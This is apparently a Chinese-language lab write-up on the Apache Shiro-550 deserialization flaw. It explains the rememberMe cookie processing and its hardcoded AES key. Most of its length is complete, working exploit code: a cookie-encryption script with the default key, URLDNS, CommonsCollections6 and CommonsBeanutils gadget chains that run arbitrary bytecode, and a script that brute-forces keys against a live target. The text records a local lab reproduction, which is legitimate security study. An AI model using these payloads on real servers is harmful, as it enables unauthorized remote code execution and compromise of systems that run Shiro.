shiro-550反序列化漏洞分析
shiro-550
0x00 环境搭建
- 首先下载有漏洞的版本
https://codeload.github.com/apache/shiro/zip/refs/tags/shiro-root-1.2.4
- 配置 samples/web的pom文件
- 配置tomcat
配置完成后点击debug调试,出现这个界面
0x01 利用版本
shiro≤1.2.4
0x02 漏洞原理
shiro默认使用了CookieRememberMeManager
,其处理cookie的流程是:
得到rememberMe的cookie值 --> Base64解码 --> AES解密 --> 反序列化
然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。
payload 构造的顺序则就是相对的反着来:
恶意命令-->序列化-->AES加密-->base64编码-->发送cookie
在整个漏洞利用过程中,比较重要的是AES加密的密钥,该秘钥默认是默认硬编码的,所以如果没有修改默认的密钥,就自己可以生成恶意构造的cookie了。
shiro特征:
未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段
登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段
不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段
勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段
0x03 漏洞复现
登陆的时候勾选Remember Me选项,此时返回包会返回一个RememberMe
刷新再抓包,去除掉cookie中的JSESSIONID,因为有了这个之后就通过sessionid识别用户,无法触发rememberme里面的反序列化。然后替换rememberMe为构造好的payload,重发就行了
0x04 漏洞分析
加密分析
入口是在 AbstractRememberMeManager.onSuccessfulLogin
方法
if验证完token之后进入到rememberIdentity函数
这里吧subject和authcInfo传入getIdentityToRemember,跟进一下
这里再跟进后没看懂 反正一系列操作下来返回的就是用户名,所以principals就是用户名了 那么返回到rememberIdentity函数
这里调用了一个convertPrincipalsToBytes 大致意思就是把用户名序列化,跟进看一下
看一下发现这里有一个加密的过程,这里debug出是AES-CBC模式,然后确实读代码也能发现这个是固定的
这里就是serialize了principals(用户名),然后跟进一下rememberSerializedIdentity,发现是base64了一下然后保存了
所以流程就是Serialize+AES+base64存储到cookie里面然后返回
解密分析
我们从getRememberedIdentity
开始分析,文件位置 org/apache/shiro/mgt/DefaultSecurityManager.java
这里return一个getRememberedPrincipals
跟进一下
继续跟进getRememberedSerializedIdentity
简单分析一下就是获取Cookie中的rememberMe的值,然后判断是否是deleteMe,不是则判断是否是符合base64的编码长度,然后再对其进行base64解码,将解码结果返回。
所以我们返回 getRememberedPrincipals
然后跟进到下一步的convertBytesToPrincipals
这里进行了解密和反序列化的操作,看一下deserialize
继续跟进
果然 这里进行了相应对应的readObject(),所以解密的流程也就有了:获取cookie判断是不是deleteMe,然后base解码,对结果进行aes解密后再反序列化
URLDNS链
加密脚本,实现读取ser.bin,进行aes→base64
import uuid
import base64
from Crypto.Cipher import AES
def get_file_data(filename):
with open(filename,'rb') as f:
return f.read()
def encode_rememberme():
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(get_file_data("serz.bin"))
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme()
print("rememberMe={0}".format(payload.decode()))
urldns链子生成
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class urldns {
public static void main(String[] args) throws Exception{
HashMap h=new HashMap();
URL url=new URL("http://urldns33.kgtism.dnslog.cn");
Class cls=Class.forName("java.net.URL");
setFieldValue(url,"hashCode",1);//为了防止在serialize的时候就产生了url请求
h.put(url,1);
setFieldValue(url,"hashCode",-1);
// ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("seri.bin"));
// oos.writeObject(h);
serialize(h);
// ByteArrayOutputStream b = new ByteArrayOutputStream();
// ObjectOutputStream oos = new ObjectOutputStream(b);
// oos.writeObject(h);
// byte[] Bytes = b.toByteArray();
// Base64.Encoder encoder = Base64.getEncoder();
// String base64 = encoder.encodeToString(Bytes);
// System.out.println(base64);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serz.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
先生成urldns链子 然后运行py脚本得到
这里我们用的是dnslog生成一个url,然后抓包,记得去掉sessionid
最后得到结果,成功执行
cc6+TemplatesImpl
这里用一个插件可以分析maven的依赖,我们知道maven在编译和运行的时候只会把complie打进包里面,而test是不会打进来的,所以理论上来说用cc的打shiro是大不了的,只能打cb
这里我们本地测试的话先加上一个cc的依赖
有了依赖 理论上来说我们就可以用cc链子来打,那么我们直接用cc6试一下
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class cc6poc{
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[] {new
ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] { "calc.exe" }),
new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
// 不再使⽤原CommonsCollections6中的HashSet,直接使⽤HashMap
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
// outerMap.remove("keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.remove("keykey");
setFieldValue(transformerChain,"iTransformers",transformers);
// ==================
// ⽣成序列化字符串
serialize(expMap);
// unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serz.bin"));
oos.writeObject(obj);
}
//反序列化数据
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
打完之后发现并没有弹出计算器,也就是并没有成功执行命令,我们本地看一下服务器报错
许多的报错大致说的就是没法加载transformer数组里面的所有东西
这里再查看报错信息倒数第一行,也就是这个类:org.apache.shiro.io.ClassResolvingObjectInputStream。可以看到,这是一个ObjectInputStream的子类,重写了resolveClass()方法:
resolveClass
是反序列化中用来查找类的方法,简单来说,读取序列化流的时候,读到一个字符串形式的类名,需要通过这个方法来找到对应的 java.lang.Class
对象。
对比一下它的父类,也就是正常的 ObjectInputStream 类中的 resolveClass()
方法:
区别就是前者用的是 org.apache.shiro.util.ClassUtils#forName
(实际上内部用到了 org.apache.catalina.loader.ParallelWebappClassLoader#loadClass
),而后者用的是Java原生的 Class.forName
我们可以在捕获异常的位置下个断点,判断一下是哪个类触发了异常
这里可能cc6构造的不太一样?最后我调试出来的结果不一样
这里仅给出最后的结论:如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。
这就解释了为什么CommonsCollections6无法利用了,因为其中用到了Transformer数组。
- 这里留一个坑点,回头补上。
承接刚才的结论吧,我们无法使用Transformer数组,但是并不是无法继续搞了,我们回顾一下cc链调用图:
理论上来说只要最后走Runtime.exec()的话,都需要用到transformer数组的 因为我们需要一个数组放进chaintransformer里面构成循环调用,还需要一个constanttransformer进行初始化我们的第一个参,这里我们发现cc2和cc4是不需要用到transformer数组的 ,但是依赖的都是commons collections4的包,当前环境是没法利用的。
所以我们可以尝试修改cc6,大致思路是cc6里面有个TideMapEntry可以传入一个key,key就可以作为触发transform方法时候的传参,此时不需要constanttransformer 自然也可以避开chainedtransformer,命令执行我们利用TemplateSimple就行
看一下TiedMapEntry:
当这个map是LazyMap的时候,get就是触发transform的关键,此时的key就作为了一个参数
之前我们对于LazyMap#get参数不关心,因为通常Transformer数组的首个对象是ConstantTransformer,我们通过ConstantTransformer来初始化恶意对象。但是此时我们无法使用Transformer数组了,也就不能再用ConstantTransformer了。此时我们却惊奇的发现,这个 LazyMap#get
的参数key,会被传进transform()
,实际上它可以扮演 ConstantTransformer的角色——一个简单的对象传递者。我们LazyMap.get(key)
直接调用InvokerTransfomer.transform(key)
,然后像CC2那样调用TempalteImpl.newTransformer()
来完成后续调用。
利用链如图所示
首先还是创建TemplatesIml对象:(命令执行部分)
byte[] code = Files.readAllBytes(Paths.get("E:\\java\\cc1\\target\\classes\\exec.class"));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "calc");
然后创建一个用来newTransformer()方法的InvokerTransformer
InvokerTransformer newTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
然后再cc6的前半段拿过来
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
TiedMapEntry tme = new TiedMapEntry(outerMap,obj);
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.remove(obj);
setFieldValue(outerMap,"factory",newTransformer);
最终EXP:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class shiro_cc {
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("E:\\java\\cc1\\target\\classes\\exec.class"));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "calc");
InvokerTransformer newTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
TiedMapEntry tme = new TiedMapEntry(outerMap,obj);
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.remove(obj);
setFieldValue(outerMap,"factory",newTransformer);
serialize(expMap);
unserialize("szzz.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("szzz.bin"));
oos.writeObject(obj);
}
//反序列化数据
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
最后成功命令执行了
cc6+instantiateTransformer
这里的话还有个链子就是cc6+instantiateTransformer后续部分
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class shiro_cc2 {
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("E:\\java\\cc1\\target\\classes\\exec.class"));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "calc");
// InvokerTransformer newTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{obj});
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
TiedMapEntry tme = new TiedMapEntry(outerMap, TrAXFilter.class);
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.remove(TrAXFilter.class);
setFieldValue(outerMap,"factory",instantiateTransformer);
serialize(expMap);
unserialize("szzz.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("szzz.bin"));
oos.writeObject(obj);
}
//反序列化数据
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
也是可以成功命令执行:
Commons-Beanutils1无依赖链
如上介绍的两种方式都是依赖于Commmons Collections,但是原生的shiro是没有cc的,所以我们就只能用shiro原生的类进行代码执行,也就用到了之前我们分析依赖的时候用到的一个Commons Beanutils,这里用到了Javabean
举个例子:
import org.apache.commons.beanutils.PropertyUtils;
import java.lang.reflect.InvocationTargetException;
public class Bean {
private String name = "cc";
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
System.out.println(PropertyUtils.getProperty(new Bean(),"name"));
System.out.println("cc");
}
}
demo包含一个私有属性name,和读取和设置这个属性的两个方法,又称为getter和setter。其中,getter的方法名以get开头,setter的方法名以set开头,全名符合骆驼式命名法(Camel-Case)。
在commons-beanutils中提供了静态方法PropertyUtils.getProperty
,通过调用这个静态方法,可以直接调用任意JavaBean
中的getter
方法。
我们可以通过这个方法对bean里面的get和set方法进行调用
此时,commons-beanutils会自动找到name属性的getter方法,也就是getName ,然后调用,获得返回值。
所以我们就要想办法利用PropertyUtils.getProperty()方法构造我们的利用链,回顾一下cc联众没有用到CommonsCollection包的部分
如上我们可以知道只有红框部分没用到,也就是说我们命令执行的方法只能选择TemplatesImpl实现类加载任意代码执行,所以我们需要找哪里可以调用TemplatesImpl.newTransformer()方法,通过find usages我们找到了TemplatesImpl.getOutputProperties()
这个方法里面调用了newTransformer(),而 getOutputProperties
这个名字,是以 get
开头,正符合getter的定义。所以, PropertyUtils.getProperty( obj, property )
这段代码,当obj是一个 TemplatesImpl
对象,而 property
的值为 outputProperties
时,将会自动调用getter,也就是 TemplatesImpl.getOutputProperties()
方法,触发代码执行。
所以这里找哪里可以调用PropertyUtils.getProperty()
,这里的话找到是commons-beanutils包中 org.apache.commons.beanutils.BeanComparator
的compare()
方法:
传入两个对象,如果this.property为空,直接比较这两个对象;如果不为空,贼getProperty来分取两个对象的this.property属性, 然后比较属性的值
cc链里2和4都用到了compare(),所以我们只要把CC4中本来传进去优先队列PriorityQueue中的transformingComparator对象换成这里的BeanComparator对象,那么这条链就能够完整地接上了
写EXP:
- 创建TemplateImpl:
byte[] code = Files.readAllBytes(Paths.get("E:\\java\\cc1\\target\\classes\\exec.class"));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "calc");
- 实例化BeanComparator,当BeanComparator构造函数为空时,默认的Property就是空
final BeanComparator comparator = new BeanComparator();
- 然后用这个comparator实例化优先队列
PriorityQueue
PriorityQueue priorityQueue = new PriorityQueue<>(comparator);
priorityQueue.add(1);
priorityQueue.add(2);
我们添加了两个无害的可以比较的对象进队列中。BeanComparator.compare()
中,如果 this.property
为空,则直接比较这两个对象。这里实际上就是对两个 1
进行排序。初始化时使用正经对象,且 property 为空,这一系列操作是为了初始化的时候不要出错。
- 然后,我们再用反射将
property
的值设置成恶意的outputProperties
,将队列里的两个1
替换成恶意的TemplateImpl
对象(也和cc2一样,至少得改第一个,具体细节参考cc2):
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});
最终EXP:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CB {
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("E:\\java\\cc1\\target\\classes\\exec.class"));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "calc");
final BeanComparator comparator = new BeanComparator();
PriorityQueue priorityQueue = new PriorityQueue<>(comparator);
priorityQueue.add(1);
priorityQueue.add(2);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});
serialize(priorityQueue);
unserialize("serzsd.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serzsd.bin"));
oos.writeObject(obj);
}
//反序列化数据
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
但是我们打一下后发现一个问题:
这里说无法加载org.apache.commons.collections.comparators这个类,那么这个类到底是啥呢?
BeanComparator的这个构造函数默认调用ComparableComparator.getInstance();,也就是有个默认的Comparator
然而这个东西又是commons.collections
里面的(因为他们的设计某种程度上来说就是重叠了),所以这里用到了它没有的依赖就会产生报错
解决方法就是我们可以指定一个comparator,构造的时候直接传入就行了
至于我们如何选择Comparator,需要满足以下几个条件
- 实现 java.util.Comparator 接口
- 实现 java.io.Serializable 接口
- Java、shiro或commons-beanutils自带,且兼容性强
这里我们把继承了Serializable 和Comparator 的分别取出来,然后写个取交集的脚本
with open("com.txt",encoding='utf-8') as f:
data=f.readlines()
with open("ser.txt",encoding='utf-8') as f2:
data2=f2.readlines()
print(*[i for i in data if i in data2])
运行结果
AttrCompare
BeanComparator
BooleanComparator
BooleanComparator
CaseInsensitiveComparator (String 内)
ComparableComparator
ComparableComparator
ComparatorChain
ComparatorChain
FixedOrderComparator
FixedOrderComparator
InsensitiveComparator (Headers 内)
KeyAnalyzer
LayoutComparator
NaturalOrderComparator (Comparators 内)
NullComparator (Comparators 内)
NullComparator
NullComparator
PropertySorter (ClassInfoImpl 内)
ReverseComparator (Collections 内)
ReverseComparator
ReverseComparator
ReverseComparator2 (Collections 内)
StringKeyAnalyzer
TransformingComparator
TransformingComparator
TreeTransferHandler (BasicTreeUI 内)
我们还得从筛选结果里找出shiro项目有的(要么就是jdk自带,要么就是依赖对应的CB),而且他的comparator最后还不能依赖cc,这里我们用AttrCompare
修改一下EXP:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.comparators.ReverseComparator;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CB {
public static void main(String[] args) throws Exception {
//TemplatesImpl动态加载字节码
byte[] code = Files.readAllBytes(Paths.get("E:\\java\\cc1\\target\\classes\\exec.class"));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "wahaha");
final BeanComparator comparator = new BeanComparator("outputProperties",new AttrCompare());
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(obj);
priorityQueue.add(2);
setFieldValue(priorityQueue,"comparator",comparator);
// setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});
serialize(priorityQueue);
unserialize("serzsd.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serzsd.bin"));
oos.writeObject(obj);
}
//反序列化数据
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
最后也是成功的执行了命令
0x06 漏洞探测
指纹识别
在利用shiro漏洞时需要判断应用是否用到了shiro。在请求包的Cookie中为 rememberMe
字段赋任意值,收到返回包的 Set-Cookie 中存在 rememberMe=deleteMe
字段,说明目标有使用Shiro框架,可以进一步测试。
AES密钥判断
前面说到 Shiro 1.2.4以上版本官方移除了代码中的默认密钥,要求开发者自己设 置,如果开发者没有设置,则默认动态生成,降低了固定密钥泄漏的风险。 但是即使升级到了1.2.4以上的版本,很多开源的项目会自己设定密钥。可以收集密钥的集合,或者对密钥进行爆破。
那么如何判断密钥是否正确呢?文章一种另类的 shiro 检测方式提供了思路,当密钥不正确或类型转换异常时,目标Response包含Set-Cookie:rememberMe=deleteMe
字段,而当密钥正确且没有类型转换异常时,返回包不存在Set-Cookie:rememberMe=deleteMe
字段。
因此我们需要构造payload排除类型转换错误,进而准确判断密钥。
shiro在1.4.2版本之前, AES的模式为CBC, IV是随机生成的,并且IV并没有真正使用起来,所以整个AES加解密过程的key就很重要了,正是因为AES使用Key泄漏导致反序列化的cookie可控,从而引发反序列化漏洞。在1.4.2版本后,shiro已经更换加密模式 AES-CBC为 AES-GCM,脚本编写时需要考虑加密模式变化的情况。
大佬Veraxy写的脚本:
import base64
import uuid
import requests
from Crypto.Cipher import AES
def encrypt_AES_GCM(msg, secretKey):
aesCipher = AES.new(secretKey, AES.MODE_GCM)
ciphertext, authTag = aesCipher.encrypt_and_digest(msg)
return (ciphertext, aesCipher.nonce, authTag)
def encode_rememberme(target):
keys = ['kPH+bIxk5D2deZiIxcaaaA==', '4AvVhmFLUs0KTA3Kprsdag==','66v1O8keKNV3TTcGPK1wzg==', 'SDKOLKn2J1j/2BHjeZwAoQ=='] # 此处简单列举几个密钥
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
d
file_body = base64.b64decode('rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==')
for key in keys:
try:
# CBC加密
encryptor = AES.new(base64.b64decode(key), mode, iv)
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(file_body)))
res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()},timeout=3,verify=False, allow_redirects=False)
if res.headers.get("Set-Cookie") == None:
print("正确KEY :" + key)
return key
else:
if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"):
print("正确key:" + key)
return key
# GCM加密
encryptedMsg = encrypt_AES_GCM(file_body, base64.b64decode(key))
base64_ciphertext = base64.b64encode(encryptedMsg[1] + encryptedMsg[0] + encryptedMsg[2])
res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()}, timeout=3, verify=False, allow_redirects=False)
if res.headers.get("Set-Cookie") == None:
print("正确KEY:" + key)
return key
else:
if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"):
print("正确key:" + key)
return key
print("正确key:" + key)
return key
except Exception as e:
print(e)
简单测试:
0x07 注意事项
- shiro版本问题
直接ysoserial里面的CB链子是打不通的,原因是ysoserial里面用CB链子依赖的版本是1.9.2
而shiro自带的为1.8.3
服务端会显示报错:
org.apache.commons.beanutils.BeanComparator; local class incompatible: stream classdesc serialVersionUID = -2044202215314119608, local class serialVersionUID = -3490850999041592962
如果两个不同版本的库使用了同一个类,而这两个类可能有一些方法和属性有了变化,此时在序列化通信的时候就可能因为不兼容导致出现隐患。因此,Java在反序列化的时候提供了一个机制,序列化时会根据固定算法计算出一个当前类的 serialVersionUID
值,写入数据流中;反序列化时,如果发现对方的环境中这个类计算出的 serialVersionUID
不同,则反序列化就会异常退出,避免后续的未知隐患。
参考资料:
- https://johnfrod.top/%E5%AE%89%E5%85%A8/shiro%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
- P牛的Java安全漫谈
- https://www.bilibili.com/video/av592012084
- https://mp.weixin.qq.com/s?__biz=MzIzOTE1ODczMg==&mid=2247485052&idx=1&sn=b007a722e233b45982b7a57c3788d47d&scene=21#wechat_redirect